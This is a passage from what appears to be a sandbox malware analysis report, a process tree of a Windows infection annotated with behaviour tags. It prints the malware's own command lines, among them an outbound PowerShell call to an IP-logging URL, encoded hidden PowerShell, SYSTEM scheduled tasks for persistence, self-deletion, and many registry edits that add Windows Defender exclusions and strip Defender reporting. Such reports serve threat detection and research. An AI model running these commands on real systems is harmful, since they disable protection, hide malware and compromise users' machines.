      PID:1836
    - - C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL "C:\Users\Admin\AppData\Local\Temp\PDSIHzLf.cPl",
        5⤵
        
        PID:2892
- - C:\Users\Admin\Pictures\Adobe Films\NlNxJKmag6oNYmncs3vxlb4J.exe
    "C:\Users\Admin\Pictures\Adobe Films\NlNxJKmag6oNYmncs3vxlb4J.exe"
    3⤵
    - Executes dropped EXE
    PID:2172
- - C:\Users\Admin\Pictures\Adobe Films\wgBhHGkIC_uXPFo5Nh44wnwx.exe
    "C:\Users\Admin\Pictures\Adobe Films\wgBhHGkIC_uXPFo5Nh44wnwx.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    PID:1112
  - - C:\Users\Admin\Pictures\Adobe Films\wgBhHGkIC_uXPFo5Nh44wnwx.exe
      "C:\Users\Admin\Pictures\Adobe Films\wgBhHGkIC_uXPFo5Nh44wnwx.exe"
      4⤵
      Executes dropped EXE
      PID:2472
- - C:\Users\Admin\Pictures\Adobe Films\EvYP_9egPpHpvJDmKAjNZdXl.exe
    "C:\Users\Admin\Pictures\Adobe Films\EvYP_9egPpHpvJDmKAjNZdXl.exe"
    3⤵
    - Executes dropped EXE
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    PID:2148
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c taskkill /im EvYP_9egPpHpvJDmKAjNZdXl.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\EvYP_9egPpHpvJDmKAjNZdXl.exe" & del C:\ProgramData\*.dll & exit
      4⤵
      PID:2812
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im EvYP_9egPpHpvJDmKAjNZdXl.exe /f
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2172
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        5⤵
        Delays execution with timeout.exe
        
        PID:3044
- - C:\Users\Admin\Pictures\Adobe Films\sXC0lvXGCYLTMZDlPGNz1c6r.exe
    "C:\Users\Admin\Pictures\Adobe Films\sXC0lvXGCYLTMZDlPGNz1c6r.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2124
- - C:\Users\Admin\Pictures\Adobe Films\QhRWnrui99K9s4ogaXkfUwAg.exe
    "C:\Users\Admin\Pictures\Adobe Films\QhRWnrui99K9s4ogaXkfUwAg.exe"
    3⤵
    - Executes dropped EXE
    PID:3064
  - - C:\Users\Admin\AppData\Local\Temp\go-memexec-546162267.exe
      C:\Users\Admin\AppData\Local\Temp\go-memexec-546162267.exe
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:2020
- - C:\Users\Admin\Pictures\Adobe Films\Q8racSWcujTaGues0ZbvCwRm.exe
    "C:\Users\Admin\Pictures\Adobe Films\Q8racSWcujTaGues0ZbvCwRm.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:432
- - C:\Users\Admin\Pictures\Adobe Films\KAiKH94pWMfyZjJpl_FLZwx4.exe
    "C:\Users\Admin\Pictures\Adobe Films\KAiKH94pWMfyZjJpl_FLZwx4.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious behavior: EnumeratesProcesses
    PID:1212
- - C:\Users\Admin\Pictures\Adobe Films\VTEpec3Sw20dZDa89l22_ObW.exe
    "C:\Users\Admin\Pictures\Adobe Films\VTEpec3Sw20dZDa89l22_ObW.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:556
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc YwBtAGQAIAAvAGMAIAB0AGkAbQBlAG8AdQB0ACAAMgAwAA==
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2432
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c timeout 20
        5⤵
        
        PID:2080
      - C:\Windows\SysWOW64\timeout.exe
        
        timeout 20
        6⤵
        Delays execution with timeout.exe
        
        PID:2736
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 556 -s 1328
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: GetForegroundWindowSpam
      Suspicious use of AdjustPrivilegeToken
      PID:2764
- - C:\Users\Admin\Pictures\Adobe Films\WvLdZt5JAnBhaguihxSqk9Jv.exe
    "C:\Users\Admin\Pictures\Adobe Films\WvLdZt5JAnBhaguihxSqk9Jv.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:1092
  - - C:\Windows\SysWOW64\cmd.exe
      "cmd" /c start "" "1.exe" & powershell -command "Invoke-WebRequest -Uri https://iplogger.org/1qfDf7"
      4⤵
      Loads dropped DLL
      PID:2604
    - - C:\Users\Admin\AppData\Local\Temp\1.exe
        
        "1.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2680
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "Invoke-WebRequest -Uri https://iplogger.org/1qfDf7"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2804
- - C:\Users\Admin\Pictures\Adobe Films\9JRwa5ttTX_uB_EdjUXHq93l.exe
    "C:\Users\Admin\Pictures\Adobe Films\9JRwa5ttTX_uB_EdjUXHq93l.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in Program Files directory
    PID:1736
  - - C:\Program Files (x86)\Company\NewProduct\jg1_1faf.exe
      "C:\Program Files (x86)\Company\NewProduct\jg1_1faf.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Drops file in Program Files directory
      PID:2540
- - C:\Users\Admin\Pictures\Adobe Films\fm4j4pw32q55APBotzaHbd62.exe
    "C:\Users\Admin\Pictures\Adobe Films\fm4j4pw32q55APBotzaHbd62.exe"
    3⤵
    - Executes dropped EXE
    PID:1536
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c taskkill /im "fm4j4pw32q55APBotzaHbd62.exe" /f & erase "C:\Users\Admin\Pictures\Adobe Films\fm4j4pw32q55APBotzaHbd62.exe" & exit
      4⤵
      PID:2748
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "fm4j4pw32q55APBotzaHbd62.exe" /f
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2772
- - C:\Users\Admin\Pictures\Adobe Films\xPS2HvMLghnPGpsTSEAx2ips.exe
    "C:\Users\Admin\Pictures\Adobe Films\xPS2HvMLghnPGpsTSEAx2ips.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1776
- C:\Users\Admin\AppData\Local\Temp\askinstall49.exe
  "C:\Users\Admin\AppData\Local\Temp\askinstall49.exe"
  2⤵
  - Executes dropped EXE
  - Modifies system certificate store
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1692
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c taskkill /f /im chrome.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2112
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im chrome.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2140

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
1⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:796
- C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
  "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:796 CREDAT:275457 /prefetch:2
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of SetWindowsHookEx
  PID:1364
- C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
  "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:796 CREDAT:603143 /prefetch:2
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of SetWindowsHookEx
  PID:1680
- C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
  "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:796 CREDAT:668677 /prefetch:2
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of SetWindowsHookEx
  PID:1128

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:2268

C:\Windows\system32\taskeng.exe
taskeng.exe {3FD4325F-AD74-4A93-A64F-4265725C7345} S-1-5-21-2329389628-4064185017-3901522362-1000:QSKGHMYQ\Admin:Interactive:[1]
1⤵
PID:2052
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2828
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1692
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:3032

C:\Windows\system32\taskeng.exe
taskeng.exe {0EEE84E2-12F6-4C18-BFC8-0DE211EDBD33} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:2552
- C:\Users\Admin\AppData\Local\Temp\WOJEBgcpJeoAyOioJ\wwLMGvKHJFdcKei\TOVpcST.exe
  C:\Users\Admin\AppData\Local\Temp\WOJEBgcpJeoAyOioJ\wwLMGvKHJFdcKei\TOVpcST.exe j1 /site_id 525403 /S
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  PID:2756
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "gmAZCKRUH" /SC once /ST 10:03:46 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
    3⤵
    - Creates scheduled task(s)
    PID:2400
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "gmAZCKRUH"
    3⤵
    PID:2244
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "gmAZCKRUH"
    3⤵
    PID:2740
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\HvrIGoRDYaykjTnO" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:2788
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\HvrIGoRDYaykjTnO" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1488
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\HvrIGoRDYaykjTnO" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:2780
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\HvrIGoRDYaykjTnO" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:2196
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\HvrIGoRDYaykjTnO" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:2304
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\HvrIGoRDYaykjTnO" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:2744
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\HvrIGoRDYaykjTnO" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:2220
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\HvrIGoRDYaykjTnO" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:2856
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C copy nul "C:\Windows\Temp\HvrIGoRDYaykjTnO\bWTAqTXF\QgpiaotRpmqouHsy.wsf"
    3⤵
    PID:2748
- - C:\Windows\SysWOW64\wscript.exe
    wscript "C:\Windows\Temp\HvrIGoRDYaykjTnO\bWTAqTXF\QgpiaotRpmqouHsy.wsf"
    3⤵
    - Modifies data under HKEY_USERS
    PID:2016
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\GuXKuCyCeSmjC" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:652
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\bQZEOuyekqRU2" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:2248
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\GuXKuCyCeSmjC" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1056
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\lSmWvXKKfqUn" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:2524
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\bQZEOuyekqRU2" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1368
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\lSmWvXKKfqUn" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:2088
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\uAhcATovcXckvYCnvyR" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1144
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\wjTkFrExU" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1528
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\uAhcATovcXckvYCnvyR" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:2812
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\wjTkFrExU" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:2580
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\ZvEHJNdJDJxIeVVB" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:552
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\ZvEHJNdJDJxIeVVB" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1904
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\WOJEBgcpJeoAyOioJ" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:2492
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\HvrIGoRDYaykjTnO" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:2768
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\WOJEBgcpJeoAyOioJ" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:2868
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\HvrIGoRDYaykjTnO" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:2956
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\GuXKuCyCeSmjC" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1112
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\GuXKuCyCeSmjC" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:2140
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\bQZEOuyekqRU2" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:2948
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\lSmWvXKKfqUn" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:2276
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\bQZEOuyekqRU2" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:856
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\lSmWvXKKfqUn" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:656
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\uAhcATovcXckvYCnvyR" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:2688
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\wjTkFrExU" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1192
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\uAhcATovcXckvYCnvyR" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:2944
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\ZvEHJNdJDJxIeVVB" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:2132
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\wjTkFrExU" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:2400
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\ZvEHJNdJDJxIeVVB" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:2528
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\WOJEBgcpJeoAyOioJ" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:2740
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\HvrIGoRDYaykjTnO" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1484
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\WOJEBgcpJeoAyOioJ" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:720
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\HvrIGoRDYaykjTnO" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:2304
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "LMrvZmpowwChRBgra" /SC once /ST 04:35:19 /RU "SYSTEM" /TR "\"C:\Windows\Temp\HvrIGoRDYaykjTnO\SjRiIsSUwUNWXxF\ENIVAqt.exe\" fX /site_id 525403 /S" /V1 /F
    3⤵
    - Drops file in Windows directory
    - Creates scheduled task(s)
    PID:2616
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "LMrvZmpowwChRBgra"
    3⤵
    PID:860
- C:\Windows\Temp\HvrIGoRDYaykjTnO\SjRiIsSUwUNWXxF\ENIVAqt.exe
  C:\Windows\Temp\HvrIGoRDYaykjTnO\SjRiIsSUwUNWXxF\ENIVAqt.exe fX /site_id 525403 /S
  2⤵
  - Executes dropped EXE
  - Checks computer location settings
  - Drops Chrome extension
  - Drops file in System32 directory
  - Drops file in Program Files directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:1536
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "bnkqNuphAZeBTHhYMc"
    3⤵
    PID:1260
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
    3⤵
    PID:2244
  - - C:\Windows\SysWOW64\reg.exe
      REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
      4⤵
      PID:1368
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
    3⤵
    PID:2008
  - - C:\Windows\SysWOW64\reg.exe
      REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
      4⤵
      PID:2260
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\wjTkFrExU\RqHlCB.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "WcTeBRgOXLrCFSZ" /V1 /F
    3⤵
    - Drops file in Windows directory
    - Creates scheduled task(s)
    PID:2976
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "WcTeBRgOXLrCFSZ2" /F /xml "C:\Program Files (x86)\wjTkFrExU\pXJUzIo.xml" /RU "SYSTEM"
    3⤵
    - Creates scheduled task(s)
    PID:3016
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /END /TN "WcTeBRgOXLrCFSZ"
    3⤵
    PID:2872
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "WcTeBRgOXLrCFSZ"
    3⤵
    PID:2980
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "DhyhGOYkHLcwyL" /F /xml "C:\Program Files (x86)\bQZEOuyekqRU2\mbZTSdQ.xml" /RU "SYSTEM"
    3⤵
    - Creates scheduled task(s)
    PID:2012
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "xuGNGpMfuIDWg2" /F /xml "C:\ProgramData\ZvEHJNdJDJxIeVVB\GvMZfIc.xml" /RU "SYSTEM"
    3⤵
    - Creates scheduled task(s)
    PID:964
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "FPfgiItdWHGuoXXpQ2" /F /xml "C:\Program Files (x86)\uAhcATovcXckvYCnvyR\UYOFPdH.xml" /RU "SYSTEM"
    3⤵
    - Creates scheduled task(s)
    PID:2280
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "fvgavqrnEnHHROaNgGs2" /F /xml "C:\Program Files (x86)\GuXKuCyCeSmjC\vWBbYTh.xml" /RU "SYSTEM"
    3⤵
    - Creates scheduled task(s)
    PID:1056
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "pyIEiyMuPIzAvWAZz" /SC once /ST 10:18:59 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\HvrIGoRDYaykjTnO\ClFNZvbp\ItEenkn.dll\",#1 /site_id 525403" /V1 /F
    3⤵
    - Drops file in Windows directory
    - Creates scheduled task(s)
    PID:2808
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "pyIEiyMuPIzAvWAZz"
    3⤵
    PID:2844
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
    3⤵
    PID:1348
  - - C:\Windows\SysWOW64\reg.exe
      REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
      4⤵
      PID:1112
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
    3⤵
    PID:2860
  - - C:\Windows\SysWOW64\reg.exe
      REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
      4⤵
      PID:2728
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "LMrvZmpowwChRBgra"
    3⤵
    PID:452
- C:\Windows\system32\rundll32.EXE
